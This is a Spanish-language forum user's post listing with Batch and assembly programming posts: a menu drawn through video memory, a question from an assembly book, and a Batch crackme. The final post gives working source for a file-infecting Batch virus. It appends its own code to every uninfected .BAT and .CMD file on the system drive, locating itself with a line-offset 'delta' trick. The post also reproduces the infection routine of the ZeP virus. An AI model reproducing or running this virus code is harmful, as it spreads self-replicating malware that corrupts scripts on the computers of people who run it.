Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Binary_Death

#46
Bien, después de informarme bastante sobre el manejo de gráficos en Batch usando el plano cartesiano, me pregunté si alguien conocería algún otro método que permitiera un control de gráficos equivalente al que se tiene usando coordenadas.

Sé que lo hay, pues no hace mucho encontré un Batch Game que usaba otro método... postearía el código de éste si mi mala memoria me permitiera recordar su nombre y en qué página estaba  :¬¬  :xD

En fin, gracias por la atencion ^^
Saludos!
#47
Scripting / Menú de selección en Batch
5 Agosto 2010, 15:48 PM
Pues... esto pertenecía a un proyecto que quedó bastante en el aire... y bueh, aquí lo dejo, a ver que tal, porque me parece un método interesante  :P


@ECHO OFF
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@MODE CON COLS=80 LINES=25
@COLOR 0F
@TITLE BOOT
@REM CODED BY BINARY_DEATH
@REM DATA: LAST LINE: 12
:BIOS
CALL:LOAD_KEYBOARD
CALL:LOAD_GRAPHIC
CALL:GRAPHIC_LOAD "!LOGO!"
SET/A INDEX=0,LIMIT=2
:MENU
SET/A COUNT=0
FOR %%I IN (CHANGE,START,SETTINGS) DO (
IF !INDEX! EQU !COUNT! (
SET VAR=!%%I:@=F!&&SET VAR=!VAR:#=F0!
CALL:GRAPHIC_LOAD "!VAR!"
) ELSE (
SET VAR=!%%I:@=0!&&SET VAR=!VAR:#=0F!
CALL:GRAPHIC_LOAD "!VAR!")
SET/A COUNT+=1
)
CALL KEYBOARD.COM
IF %ERRORLEVEL% EQU 80 (
IF %INDEX% LSS %LIMIT% (
SET/A INDEX+=1
) ELSE (SET/A INDEX=0))
IF %ERRORLEVEL% EQU 72 (
IF %INDEX% GTR 0 (
SET/A INDEX-=1
) ELSE (SET/A INDEX=%LIMIT%))
IF %ERRORLEVEL% EQU 13 (
EXIT/B %INDEX%
)
GOTO:MENU
:GRAPHIC_LOAD
FOR %%S IN (%~1) DO (
FOR /F "TOKENS=1,2,3 DELIMS=$" %%K IN ("%%S") DO (
ECHO.EB800:%%K "%%L"%%M 1>>CSHOW.TMP
))
(TYPE CSHOW.TMP&ECHO.Q)|DEBUG>NUL
DEL/Q CSHOW.TMP
GOTO:EOF
:LOAD_GRAPHIC
SET CHANGE=642$C$#,644$H$#,646$A$#,648$N$#,^
64A$G$#,64C$E$#,64E$Û$@,650$B$#,652$O$#,654$S$#
SET START=6E2$S$#,6E4$T$#,6E6$A$#,6E8$R$#,^
6EA$T$#,6EC$Û$@,6EE$B$#,6F0$O$#,6F2$S$#
SET SETTINGS=782$S$#,784$E$#,786$T$#,^
788$T$#,78A$I$#,78C$N$#,78E$G$#,790$S$#
SET LOGO=500$±$F,A2$±$F,142$±$F,1E2$±$F,282$±$F,322$±$F,^
3C2$±$F,502$±$F,A4$±$F,3C4$±$F,504$±$F,A6$±$F,^
3C6$±$F,506$±$F,A8$±$F,1E8$±$F,3C8$±$F,508$±$F,^
AA$±$F,1EA$±$F,3CA$±$F,50A$±$F,14C$±$F,28C$±$F,^
32C$±$F,3CC$±$F,50C$±$F,50E$±$F,510$±$F,B2$±$F,^
3D2$±$F,512$±$F,B4$±$F,3D4$±$F,514$±$F,B6$±$F,^
156$±$F,1F6$±$F,296$±$F,336$±$F,3D6$±$F,516$±$F,^
B8$±$F,158$±$F,1F8$±$F,298$±$F,338$±$F,3D8$±$F,^
518$±$F,BA$±$F,3DA$±$F,51A$±$F,BC$±$F,3DC$±$F,^
51C$±$F,51E$±$F,520$±$F,C2$±$F,162$±$F,202$±$F,^
2A2$±$F,342$±$F,3E2$±$F,522$±$F,C4$±$F,3E4$±$F,^
524$±$F,C6$±$F,3E6$±$F,526$±$F,C8$±$F,3E8$±$F,^
528$±$F,CA$±$F,3EA$±$F,52A$±$F,CC$±$F,16C$±$F,^
20C$±$F,2AC$±$F,34C$±$F,3EC$±$F,52C$±$F,52E$±$F,^
530$±$F,D2$±$F,172$±$F,212$±$F,2B2$±$F,3F2$±$F,^
532$±$F,D4$±$F,2B4$±$F,3F4$±$F,534$±$F,D6$±$F,^
2B6$±$F,3F6$±$F,536$±$F,D8$±$F,2B8$±$F,3F8$±$F,^
538$±$F,DA$±$F,2BA$±$F,3FA$±$F,53A$±$F,DC$±$F,^
2BC$±$F,35C$±$F,3FC$±$F,53C$±$F,53E$±$F
GOTO:EOF
:LOAD_KEYBOARD
IF NOT EXIST KEYBOARD.COM ((
ECHO.N KEYBOARD.COM
ECHO.E 0000 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
ECHO.R CX
ECHO.000E
ECHO.W0
ECHO.Q)|DEBUG 1>NUL 2>&1
)
GOTO:EOF


No usa ni WBAT ni programas externos que MS-DOS no incluya, sólo se usa debug para acceder a la memoria de video.

Saludos!
#48
ASM / Duda en Ejemplo
10 Julio 2010, 21:37 PM
Verán... he comprado el libro "Ensamblador para DOS, Linux y Windows" de Francisco Charte Ojeda, y estoy cursando el quinto capítulo.
En él, hay el código fuente de un programa en ensamblador y el mismo programa ya compilado. Dicho programa lo testeé en Windows XP y Windows Vista, y en ambos NO funciona. De lo que estoy seguro es de que el ejemplo del libro, definitivamente no puede estar errado.
Bien, les comento mi duda. El ejemplo trata sobre el acceso al segmento de pantalla de DOS: 0B800h. En la explicación cuenta que en ese segmento, el desplazamiento 0 contiene el código de carácter a escribir, el 1 el atributo del caracter, el 2 el siguiente código de carácter y el 3 el atributo de éste.
Antes de proseguir les dejaré el código de ejemplo del libro:



        ; Definimos el segmento de datos
        segment Datos
       
; definiendo varios campos
Asterisco db '*'
Blanco    db 0f0h
Posicion  dw 3280 ; l:20,c:40
Valor32   dd 0       

        ; Segmento para la pila
        segment Pila stack
          resb 256
InicioPila:

        ; Segmento de código
        segment Codigo
..start:

        ; inicializamos ds
        mov ax, Datos
        ; para acceder a los datos
        mov ds, ax

        ; preparamos el registro es
        ; para acceder al segmento
        ; donde está el contenido de
        ; la pantalla       
        mov ax, 0b800h
        mov es, ax

        ; recuperamos en AL el
        ; valor que hay en Asterisco
        mov al,[Asterisco]
       
        ; en AH el color
        mov ah,[Blanco]

        ; y en BX la posición
        mov bx,[Posicion]

        ; transferimos el contenido
        ; de AX a la dirección ES:BX
        mov [es:bx], ax

        ; escribimos directamente en
        la pantalla un valor inmediato
        mov word [es:5*160+35*2], 00a41h
       
        ; salimos al sistema
        mov ah, 4ch
        int 21h


AX se descompone en AH y AL, que contienen los bits más y menos significativos respectivamente, ¿cierto? Bien, si fuera como el libro dijo, en AH debería situarse el código del carácter y en AL su atributo. Pero no es así, sino al revés. La duda es precisamente esa, ¿por qué?

Y no estaría de más que alguien me pudiera decir por qué no me funciona en mi sistema, porque me encataría testear los ejemplos =/

En fin, ¡gracias y saludos!
#49
Scripting / Crackme Noob 1.0 [batch]
16 Febrero 2010, 13:21 PM

@echo off
title Crackme Noob 1.0 [Binary_Death]
setlocal enabledelayedexpansion
:code
cls
set "dig="
set /p "dig=Password: "
if not defined dig GoTo:code
call:len "%dig%"
if %strlen% LSS 5 (GoTo:code)
set /a "iflen=(%strlen%*%dig:~0,1%%dig:~-1%) %% 5"
if "%iflen%" NEQ "0" (GoTo:lost)
call:algoritm
call:cmp "%cmp%"
exit /b
:algoritm
set /a "dec=%dig%/%strlen%"
set /a "decend=%dig% %% %strlen%"
set ret=0
set int=0
if %dig%%strlen% LSS %dec% (GoTo:lost)
for /l %%y in (%dig%%strlen%,-%dec%,%decend%) do (set /a int+=1)
set /a "strlenpos=%strlen%-1"
for /l %%x in (0,1,%strlenpos%) do (
set /a "ret=!dig:~%%x,1!+!ret!"
)
set /a "cmp=(%ret%*%int%*%strlen%) + (%dig:~0,1%*%dig:~-1%)"
GoTo:EoF
:cmp
if "%~1" NEQ "19445" (GoTo:lost) else (GoTo:win)
exit
:len
set "txt=%~1"
set /a "count=0"
:strlen
call set "text=%%txt:~%count%,1%%"
if defined text (
set /a "count+=1"
GoTo:strlen
) else (
set "strlen=%count%"
GoTo:EoF
)
:lost
cls
echo Has perdido.
pause>nul&exit
:win
cls
echo Has ganado.
pause>nul&exit


Es mi segundo crackme que ya postee en algunos foros.
Yo CREO que es muy sencillo y no esta demasiado bien hecho, pero eso ya os lo dejo a vosotros. Opinad.

Saludos y animaos! suerte!
#50
Esto es algo que solo vi en un malware batch... ZeP, el archiconocido xD.
Primero veamos el objetivo.
Cuando infectamos con un bat otro bat, agregamos el codigo del primero al segundo... evidentemente. El problema surge al ejecutar el fichero infectado, cuando vamos a infectar otro fichero desde un fichero ya infectado copiamos todo el codigo del fichero en otro fichero... y nosotros queremos copiar solo el codigo virico. En resumen, necesitamos saber la posicion de nuestro malware en el fichero para copiar solo este y no todo el fichero en si.
ZeP usa una tecnica que yo considero ingeniosa. Todas las lineas de codigo tienen la palabra ZeP, y luego con un find localiza todas esas lineas, localiza ese codigo y lo añade.
En ensamblador pasa lo mismo, y la tecnica para calcular la posicion del malware se llama Delta Offset... asi que para no ponerle Delta Word en batch dejemoslo en Delta... xDD

::[H4AR45R849H]_start
@echo off
set "[0]=%~0"
set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD"
call:delta&call:infect
exit /b
:infect
set "jmp="
if %delta% NEQ 0 (set "jmp=skip=%delta% ")
for /f "tokens=*" %%f in ('dir /b /s %find%') do (
FIND /i "[H4AR45R849H]"<"%%~f">nul
if errorlevel 1 (call:write "%%~f"))
GoTo:EoF
:write
ECHO.>>"%~1"
for /f "tokens=* %jmp%usebackq" %%w in ("%[0]%") do (
ECHO.%%w>>"%~1"
if /i "%%w"=="::[H4AR45R849H]_end" (GoTo:EoF))
GoTo:EoF
:delta
set "linepos=0"&set "delta=0"
for /f "tokens=* usebackq" %%x in ("%[0]%") do (
if "%%x"=="::[H4AR45R849H]_start" (call set delta=%%linepos%%&GoTo:EoF)
set /a linepos+=1)
GoTo:EoF
::[H4AR45R849H]_end


Esto es lo que estuve codeando estos dias...
Buscamos el numero de linea que señala el principio del codigo virico, asi luego con un for y skip nos posicionamos para inyectar codigo hasta que se detecte el final del codigo virico.

Y aqui dejo el método que usaba el virus ZeP:

@echo off %DeLtA%
set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD" %DeLtA%
set "[0]=%~0" %DeLtA%
:infect %DeLtA%
for /f "tokens=*" %%f in ('dir /b /s %find%') do ( %DeLtA%
find "DeLtA"<%%f>nul %DeLtA%
if errorlevel 1 (call:write "%%~f")) %DeLtA%
GoTo:EoF %DeLtA%
:write %DeLtA%
ECHO.>>"%~1" %DeLtA%
find /i "DeLtA"<%[0]%>>"%~1" %DeLtA%
GoTo:EoF %DeLtA%


Para malwares largos no es conveniente... porque tiene que tener una palabra en cada linea xDDD y eso son bastantes bytes mas.


Y bueno, este es mi primer post en este foro, espero que sea de utilidad :P

Saludos!